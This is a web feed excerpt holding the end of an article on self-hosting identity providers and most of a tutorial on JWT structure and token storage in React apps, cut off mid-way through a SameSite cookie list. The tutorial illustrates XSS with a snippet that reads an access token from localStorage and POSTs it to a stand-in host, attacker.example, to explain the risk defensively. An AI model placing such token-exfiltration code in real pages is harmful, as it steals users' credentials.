<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="upgrades">Upgrades<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#upgrades" class="hash-link" aria-label="Direct link to Upgrades" title="Direct link to Upgrades" translate="no">​</a></h3>
<p>Upgrade planning should start during product selection.</p>
<p>Identity software sits on the security boundary of many applications, so remaining on unsupported versions for long periods creates both security and operational risk.</p>
<p>Check the release cadence and supported-version policy together. A product releasing frequently but supporting older versions for a long period creates a different operational model from one with a shorter support window.</p>
<p>It is also important to confirm whether documented major-version upgrade procedures exist.</p>
<p>Customizations need particular attention. Authenticators, claim mappings, provisioning connectors, UI customizations, and other extensions are often the areas most affected during upgrades. Extensions built using documented extension points generally create a better upgrade path than changes depending on internal implementation details.</p>
<p>Finally, decide who will perform the upgrades.</p>
<p>The organization can build that capability internally, use a service provider, or purchase commercial support that includes migration guidance. Problems usually appear when this ownership is left undefined until the system is already several versions behind.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="availability-and-scaling">Availability and scaling<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#availability-and-scaling" class="hash-link" aria-label="Direct link to Availability and scaling" title="Direct link to Availability and scaling" translate="no">​</a></h3>
<p>Identity often starts as a dependency for one application and later becomes a shared dependency across many applications.</p>
<p>At that point, identity availability becomes application availability.</p>
<p>Depending on the product, a production deployment may require multiple nodes, shared session state, load balancing, and a database with its own high-availability design.</p>
<p>The evaluation should therefore include published throughput and concurrency numbers, recommended deployment topologies, and how the product scales as usage increases.</p>
<p>It is also useful to size for expected growth rather than only current traffic.</p>
<p>Identity is one of the more difficult infrastructure components to replace because changing the identity provider can affect every integrated application. Discovering later that the deployment architecture cannot meet expected scale can turn into a large migration project.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="secure-configuration">Secure configuration<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#secure-configuration" class="hash-link" aria-label="Direct link to Secure configuration" title="Direct link to Secure configuration" translate="no">​</a></h3>
<p>An identity provider holds credentials and issues tokens used across applications, so its configuration is part of the security boundary.</p>
<p>TLS certificates need a reliable renewal process.</p>
<p>Token-signing keys also need rotation. This is particularly relevant for APIs used by React applications because APIs commonly cache the provider's public signing keys. A rotation without an appropriate overlap period can cause otherwise valid tokens to fail validation.</p>
<p>Secrets accumulate around the identity provider as well, including database credentials, keystore passwords, and client secrets used for downstream integrations. These should be managed through an appropriate secrets-management mechanism rather than stored in source repositories or plaintext configuration.</p>
<p>The deployment itself also needs hardening. Administrative interfaces should not be exposed unnecessarily, default administrator credentials should be changed or removed, unused endpoints and protocols should be disabled, and administrative access should be separated appropriately from application deployment responsibilities.</p>
<p>Backups require the same security considerations as production data because an identity database backup contains user information.</p>
<p>More importantly, the restore process should be tested. Having a backup file and having a working recovery procedure are not the same thing.</p>
<p>Keeping the deployment reproducible from version-controlled configuration and automation makes most of these activities easier. Rebuilding the environment should be a known operational procedure rather than something that depends on the person who originally configured it.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="who-should-self-host">Who should self-host?<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#who-should-self-host" class="hash-link" aria-label="Direct link to Who should self-host?" title="Direct link to Who should self-host?" translate="no">​</a></h2>
<p>Self-hosting is not automatically the right choice for every organization.</p>
<ul>
<li class="">
<p><strong>Solo developer or small team:</strong> Operating an identity provider is usually not the best use of limited engineering time. A managed service can be a better starting point, particularly when it provides a free tier or low-cost entry point. An open source identity provider that is also available as SaaS can be especially useful. The team can start without running infrastructure and later move to a paid tier or self-hosted deployment as requirements change, while potentially keeping the same underlying identity technology.</p>
</li>
<li class="">
<p><strong>Scaling startup or SME with a platform team:</strong> A platform team may be fully capable of running an identity provider, but the question is whether doing so is the best use of that engineering capacity. A team may initially use SaaS and later find that increasing usage, deployment requirements, or cost makes self-hosting attractive. At that point, an open source product can provide several options: operate it internally, rely on community support, or add commercial support while retaining control of the deployment.</p>
</li>
<li class="">
<p><strong>Regulated enterprise:</strong> Requirements such as data residency, auditability, procurement, and deployment control can make self-hosted or private-cloud identity a natural fit. The distinction between proprietary and open source self-hosted software is sometimes reduced by licensing cost, but open source provides other properties that may be more important. The organization can inspect the source, run its own security analysis, understand the implementation in more detail, and develop extensions where the architecture allows it. Those freedoms can matter even when reducing software cost is not the primary objective.</p>
</li>
<li class="">
<p><strong>Air-gapped or restricted network:</strong> In an air-gapped or restricted environment, a public managed service may not be available at all. The evaluation then becomes more practical: can the software be installed, operated, and updated without outbound internet access, and does the license permit that deployment model? Open source can provide an advantage here because the organization retains access to the software and can inspect and adapt it within the constraints of the network.</p>
</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-to-go-from-here">Where to go from here<a href="https://wso2.com/identity-platform/learn/open-source-self-hosted-auth-react#where-to-go-from-here" class="hash-link" aria-label="Direct link to Where to go from here" title="Direct link to Where to go from here" translate="no">​</a></h2>
<p>Self-hosting determines who operates the identity system. Open source determines what freedoms you have over the software. Commercial support determines how much of the operational responsibility you want to carry alone.</p>
<p>Those are related decisions, but they are not the same decision.</p>
<p>If your application is simple and a managed service meets the requirement, there may be little reason to operate an identity provider yourself. Self-hosting starts to make more sense when deployment control, regulatory requirements, cost, customization, or the need to share identity across multiple applications and systems becomes important.</p>
<p>If WSO2 Identity Server fits those requirements, the Apache 2.0-licensed software can be deployed and operated independently, while commercial support remains a separate choice.</p>
<p>The useful approach is to keep these decisions separate: choose the identity software based on the capabilities and architecture you need, choose the deployment model based on your operational constraints, and decide how much support you need based on what your team is prepared to operate over the long term.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>Self-hosted IAM</category>
            <category>Open-source IAM</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[JWT-Based Authentication in React: Storage, Validation and the localStorage Question]]></title>
            <link>https://wso2.com/identity-platform/learn/jwt-authentication-react</link>
            <guid>https://wso2.com/identity-platform/learn/jwt-authentication-react</guid>
            <pubDate>Mon, 07 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Where to store JWTs in a React app, how to validate them, and why localStorage is usually the wrong answer.]]></description>
            <content:encoded><![CDATA[<p>When a user signs in, your React app receives two tokens: an access token for calling your API and an ID token that tells the application who signed in. If you followed the Authorization Code flow with PKCE, you saw both tokens arrive in the token response.</p>
<p><img decoding="async" loading="lazy" alt="The access token as a short opaque string next to the three-part, period-separated ID token (JWT)" src="https://wso2.com/identity-platform/learn/assets/images/1-facf71c2299a31c27f0cd78e8f7144fc.png" width="1486" height="332" class="img_ev3q"></p>
<p>Look closely at the two tokens. The access token is a short, seemingly random string. The ID token is much longer and consists of three sections separated by periods (.).</p>
<p>The access token in this example is an <strong>opaque token</strong>. Its contents have no meaning to your application because the token does not expose the information it represents. Instead, your API can send the token to the identity server to determine whether it is valid and what permissions are associated with it.</p>
<p>The ID token, however, is self-contained. Your application can inspect the information inside it without asking the identity server what the token represents. This type of token is called a <strong>JSON Web Token (JWT)</strong>.</p>
<p>Getting the tokens into your application was the easy part.</p>
<p>The harder questions start after that. What is actually inside a JWT? Can you trust what you decode from it? And where should your React application keep these tokens once it has them?</p>
<p>Let's take those one at a time.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-a-jwt-is-and-what-it-is-not">What a JWT is and what it is not<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#what-a-jwt-is-and-what-it-is-not" class="hash-link" aria-label="Direct link to What a JWT is and what it is not" title="Direct link to What a JWT is and what it is not" translate="no">​</a></h2>
<p>A JSON Web Token (JWT), such as the ID token you received, contains three sections: <strong>header</strong>, <strong>payload</strong>, and <strong>signature</strong>.</p>
<p>The contents may not mean much to you yet because they are Base64URL-encoded, but you can easily distinguish the three sections because they are separated by periods (.):</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMiLCJleHAiOjE3NjcyMjU2MDB9.dBjftJeZ4CVP_mB92K27uhbUJU1p1r_wW1gFWFOEjXk</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="header-payload-signature">Header, Payload, Signature<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#header-payload-signature" class="hash-link" aria-label="Direct link to Header, Payload, Signature" title="Direct link to Header, Payload, Signature" translate="no">​</a></h3>
<p>Let's dissect the three parts.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="header">Header<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#header" class="hash-link" aria-label="Direct link to Header" title="Direct link to Header" translate="no">​</a></h4>
<p>The header tells the receiver what kind of token it is and how it was signed.</p>
<p>For example:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"typ"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"JWT"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"alg"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"RS256"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p><code>typ</code> identifies the token as a JWT, while <code>alg</code> tells the receiver which signing algorithm was used.</p>
<p>We'll get into signing properly later, but for now, the important point is that the header tells the receiver how the token was signed. The signature can then be used to check whether the signed contents of the token have been changed.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="payload">Payload<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#payload" class="hash-link" aria-label="Direct link to Payload" title="Direct link to Payload" translate="no">​</a></h4>
<p>The payload contains information carried by the token in the form of <strong>claims</strong>.</p>
<p>For an ID token, these claims describe the user and the authentication that took place. A decoded payload might look like this:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"iss"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"https://localhost:9443/oauth2/token"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"sub"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"user@example.com"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"aud"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"YOUR_CLIENT_ID"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"exp"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token number" style="color:rgb(170, 9, 130)">1767225600</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"iat"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token number" style="color:rgb(170, 9, 130)">1767222000</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>You'll commonly see claims such as:</p>
<ul>
<li class=""><code>iss</code> — who issued the token.</li>
<li class=""><code>sub</code> — who the token is about.</li>
<li class=""><code>aud</code> — who the token is intended for.</li>
<li class=""><code>exp</code> — when the token expires.</li>
<li class=""><code>iat</code> — when the token was issued.</li>
</ul>
<p>One distinction is worth remembering here:</p>
<p><strong>JWT describes the token format, not the token's purpose.</strong></p>
<p>An ID token is commonly a JWT, but access tokens can also be issued as JWTs.</p>
<p>A JWT access token and a JWT ID token may therefore have the same three-part structure while carrying very different claims because they serve different purposes.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="signature">Signature<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#signature" class="hash-link" aria-label="Direct link to Signature" title="Direct link to Signature" translate="no">​</a></h4>
<p>The signature lets the receiver detect whether the header or payload has been changed after the token was issued.</p>
<p>The identity server creates the signature using the encoded header and payload together with its private signing key. The receiver can then use the corresponding public key to verify the signature.</p>
<p>If someone changes a claim in the payload after the token was signed, the existing signature will no longer verify.</p>
<p>The signature therefore protects the <strong>integrity</strong> of the token.</p>
<p>It does not hide what is inside it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="signed-does-not-mean-encrypted">Signed does not mean encrypted<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#signed-does-not-mean-encrypted" class="hash-link" aria-label="Direct link to Signed does not mean encrypted" title="Direct link to Signed does not mean encrypted" translate="no">​</a></h3>
<p>A JWT can look like an unreadable string, but encoding does not make its contents secret.</p>
<p>Signing and encryption solve two different problems:</p>
<ul>
<li class=""><strong>Signing</strong> lets you detect whether the signed content has been altered.</li>
<li class=""><strong>Encryption</strong> hides the content from someone who is not supposed to read it.</li>
</ul>
<p>Encrypted JWTs do exist, but ID tokens are typically signed because their main job is to let your application trust the identity information they carry, not to keep that information secret.</p>
<p>So for the rest of this article, assume that anyone who gets hold of a signed ID token can read what is inside it.</p>
<p>And that brings us to the next problem: once your application has these tokens, where should it keep them?</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-question-behind-the-question-what-are-you-defending-against">The question behind the question: what are you defending against?<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#the-question-behind-the-question-what-are-you-defending-against" class="hash-link" aria-label="Direct link to The question behind the question: what are you defending against?" title="Direct link to The question behind the question: what are you defending against?" translate="no">​</a></h2>
<p>The storage question is especially important for the access token.</p>
<p>A bearer access token is a credential. Anyone who gets hold of it may be able to present it to the API and use whatever permissions the token carries until it expires or is revoked.</p>
<p>Storage still matters for the ID token because it can contain identity information about the signed-in user. But stealing an ID token does not automatically give someone the same direct API access as stealing an access token.</p>
<p>There are four common places a React application can keep authentication state:</p>
<ul>
<li class=""><strong>localStorage</strong> — browser-managed key-value storage that JavaScript in the same origin can read and write.</li>
<li class=""><strong>sessionStorage</strong> — similar browser storage, but scoped to a browser tab and its session.</li>
<li class=""><strong>In memory</strong> — keeps the token in JavaScript memory, such as a variable, store, or ref.</li>
<li class=""><strong>Cookies</strong> — values stored by the browser and sent with matching HTTP requests. Cookies can also be marked HttpOnly so JavaScript cannot read them.</li>
</ul>
<p>There is also another architectural option: keep the OAuth tokens out of the browser entirely using a backend such as a <strong>Backend for Frontend (BFF)</strong>.</p>
<p>Before comparing those choices, it helps to understand the two browser attacks that shape most of this discussion: <strong>cross-site scripting (XSS)</strong> and <strong>cross-site request forgery (CSRF)</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="xss-the-attacker-runs-script-in-your-origin">XSS: the attacker runs script in your origin<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#xss-the-attacker-runs-script-in-your-origin" class="hash-link" aria-label="Direct link to XSS: the attacker runs script in your origin" title="Direct link to XSS: the attacker runs script in your origin" translate="no">​</a></h3>
<p>Cross-site scripting means malicious JavaScript starts running inside your application's origin.</p>
<p>That could happen through a vulnerable component, unsafe HTML handling, a compromised dependency, or a third-party script.</p>
<p>Once that JavaScript is running in the same origin, the browser does not treat it differently from your own application code.</p>
<p>If your access token is in localStorage, the malicious script can read it:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> stolenToken </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token dom variable" style="color:rgb(201, 103, 101)">localStorage</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">getItem</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"access_token"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>It can then send the value somewhere else:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">fetch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"https://attacker.example/steal"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"POST"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">body</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> stolenToken</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>Once the attacker has the bearer access token outside your application, they may be able to use it directly against the API.</p>
<p>sessionStorage has the same basic JavaScript-access problem:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> token </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token dom variable" style="color:rgb(201, 103, 101)">sessionStorage</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">getItem</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"access_token"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>The difference is how long the value persists, not whether JavaScript in the page can read it.</p>
<p>And stealing the token is not the only thing malicious JavaScript can do. Because it is already running inside the authenticated application, it may also be able to make authenticated requests while the page is open.</p>
<p>Keep that distinction in mind. Some storage choices make a token harder to steal and reuse elsewhere, but they do not make a page compromised by XSS safe.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="csrf-the-attacker-makes-the-browser-send-your-cookie">CSRF: the attacker makes the browser send your cookie<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#csrf-the-attacker-makes-the-browser-send-your-cookie" class="hash-link" aria-label="Direct link to CSRF: the attacker makes the browser send your cookie" title="Direct link to CSRF: the attacker makes the browser send your cookie" translate="no">​</a></h3>
<p>Cross-site request forgery (CSRF) is a different problem.</p>
<p>The attacker does not need to steal an authentication cookie or run JavaScript inside your React application.</p>
<p>Instead, another site causes the user's browser to send a request to your application.</p>
<p>Imagine the user is already signed in to <code>https://bank.example.com</code> and their browser has a session cookie for that site.</p>
<p>If the user then visits a malicious site, that site may try to trigger a request to <code>https://bank.example.com/transfer</code>.</p>
<p>The request came from the attacker's site, but the browser may still attach cookies that match <code>bank.example.com</code>.</p>
<p>From the server's point of view, the request can now arrive with a valid authenticated session.</p>
<p>That is why an HttpOnly cookie does not remove every browser risk. JavaScript may not be able to read the cookie value directly, but the browser can still send the cookie automatically with requests.</p>
<p>Now we have enough context to compare the storage choices properly.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-to-store-it-four-options-honestly-compared">Where to store it: four options, honestly compared<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#where-to-store-it-four-options-honestly-compared" class="hash-link" aria-label="Direct link to Where to store it: four options, honestly compared" title="Direct link to Where to store it: four options, honestly compared" translate="no">​</a></h2>
<p>Each storage option changes three important things:</p>
<ol>
<li class="">Whether JavaScript can read the credential.</li>
<li class="">How long the credential survives.</li>
<li class="">Whether the browser sends it automatically.</li>
</ol>
<p>Here is the high-level comparison:</p>
<table><thead><tr><th><strong>Store</strong></th><th><strong>XSS exposure</strong></th><th><strong>CSRF exposure</strong></th><th><strong>Survives reload</strong></th><th><strong>Complexity</strong></th></tr></thead><tbody><tr><td>localStorage</td><td>Any JavaScript in the origin can read it</td><td>None from storage itself</td><td>Yes, including browser restarts</td><td>Low</td></tr><tr><td>sessionStorage</td><td>Any JavaScript in the tab can read it</td><td>None from storage itself</td><td>Yes, in the same tab</td><td>Low</td></tr><tr><td>In memory</td><td>Available to JavaScript while the app is running</td><td>None from storage itself</td><td>No</td><td>Low</td></tr><tr><td>HttpOnly cookie</td><td>JavaScript can't read it directly</td><td>Yes, because the browser sends it automatically</td><td>Yes</td><td>Medium, requires a server</td></tr></tbody></table>
<p>Let's look at what those trade-offs mean in practice.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="localstorage-convenient-and-usually-the-wrong-answer">localStorage: convenient, and usually the wrong answer<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#localstorage-convenient-and-usually-the-wrong-answer" class="hash-link" aria-label="Direct link to localStorage: convenient, and usually the wrong answer" title="Direct link to localStorage: convenient, and usually the wrong answer" translate="no">​</a></h3>
<p>localStorage is attractive because it is simple and persistent:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token dom variable" style="color:rgb(201, 103, 101)">localStorage</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">setItem</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"access_token"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> token</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>The token survives page reloads and browser restarts, so the application can pick up where it left off.</p>
<p>The problem is that every script running in your application's origin can read it too:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token dom variable" style="color:rgb(201, 103, 101)">localStorage</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">getItem</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"access_token"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>If malicious JavaScript reaches your application, a token in localStorage can be copied and sent elsewhere.</p>
<p>That does not mean localStorage is unsafe while every other browser store is safe.</p>
<p>The more precise problem is that the token is both <strong>JavaScript-readable and persistent</strong>. For a bearer credential, that gives an attacker a larger window in which to steal it and use it somewhere else.</p>
<p>For a long-lived token, that is usually a poor trade.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="sessionstorage-the-same-problem-shorter-fuse">sessionStorage: the same problem, shorter fuse<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#sessionstorage-the-same-problem-shorter-fuse" class="hash-link" aria-label="Direct link to sessionStorage: the same problem, shorter fuse" title="Direct link to sessionStorage: the same problem, shorter fuse" translate="no">​</a></h3>
<p>sessionStorage has the same JavaScript-access problem as localStorage, but its lifetime is shorter.</p>
<p>The token survives a page reload, but it belongs to the current browser tab and disappears when that tab's session ends.</p>
<p>So sessionStorage reduces persistence.</p>
<p>It does not change the basic XSS property: JavaScript running in that tab can still read the token.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="in-memory-less-persistent-awkward-across-reloads">In memory: less persistent, awkward across reloads<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#in-memory-less-persistent-awkward-across-reloads" class="hash-link" aria-label="Direct link to In memory: less persistent, awkward across reloads" title="Direct link to In memory: less persistent, awkward across reloads" translate="no">​</a></h3>
<p>You can also keep the access token only in JavaScript memory.</p>
<p>For example, the token could live in a module, a ref, or a store that never writes it to browser storage.</p>
<p>The advantage is that nothing is left in persistent browser storage. Once the page goes away, so does the token.</p>
<p>The obvious downside is a page reload.</p>
<p>The application loses the token and needs some way to obtain a new one without forcing the user through a complete sign-in every time.</p>
<p>In-memory storage therefore reduces the token's persistence window, but it still does not protect a running application from malicious JavaScript.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="httponly-cookie-strong-but-you-inherit-csrf-and-samesite-decisions">HttpOnly cookie: strong, but you inherit CSRF and SameSite decisions<a href="https://wso2.com/identity-platform/learn/jwt-authentication-react#httponly-cookie-strong-but-you-inherit-csrf-and-samesite-decisions" class="hash-link" aria-label="Direct link to HttpOnly cookie: strong, but you inherit CSRF and SameSite decisions" title="Direct link to HttpOnly cookie: strong, but you inherit CSRF and SameSite decisions" translate="no">​</a></h3>
<p>An HttpOnly cookie cannot be read by JavaScript. This makes it useful for keeping an authentication credential out of reach of code running in your React application.</p>
<p>There is one important catch: a pure React application cannot create an HttpOnly cookie. It has to be set by a server using the <code>Set-Cookie</code> response header.</p>
<p>For example:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax</span><br></span></code></pre></div></div>
<p>The browser stores the cookie and automatically sends it with matching requests. Your React application does not need to read the cookie value.</p>
<p>That protects the credential from being directly read through JavaScript, but because the browser sends cookies automatically, you now need to consider CSRF.</p>
<p>This is where the <code>SameSite</code> attribute helps. It controls when the browser sends a cookie in a cross-site context.</p>
<ul>
<li class=""><code>SameSite=Strict</code> is the most restrictive option. The browser generally withholds the cookie when the request or navigation starts from another site. This provides strong protection against CSRF, but it can interfere with legitimate cross-site flows.</li>
<li class=""><code>SameSite=Lax</code> allows the cookie on some top-level cross-site navigations that use safe methods such as GET, while withholding it from many cross-site requests commonly used in CSRF attacks, such as POST.</li>
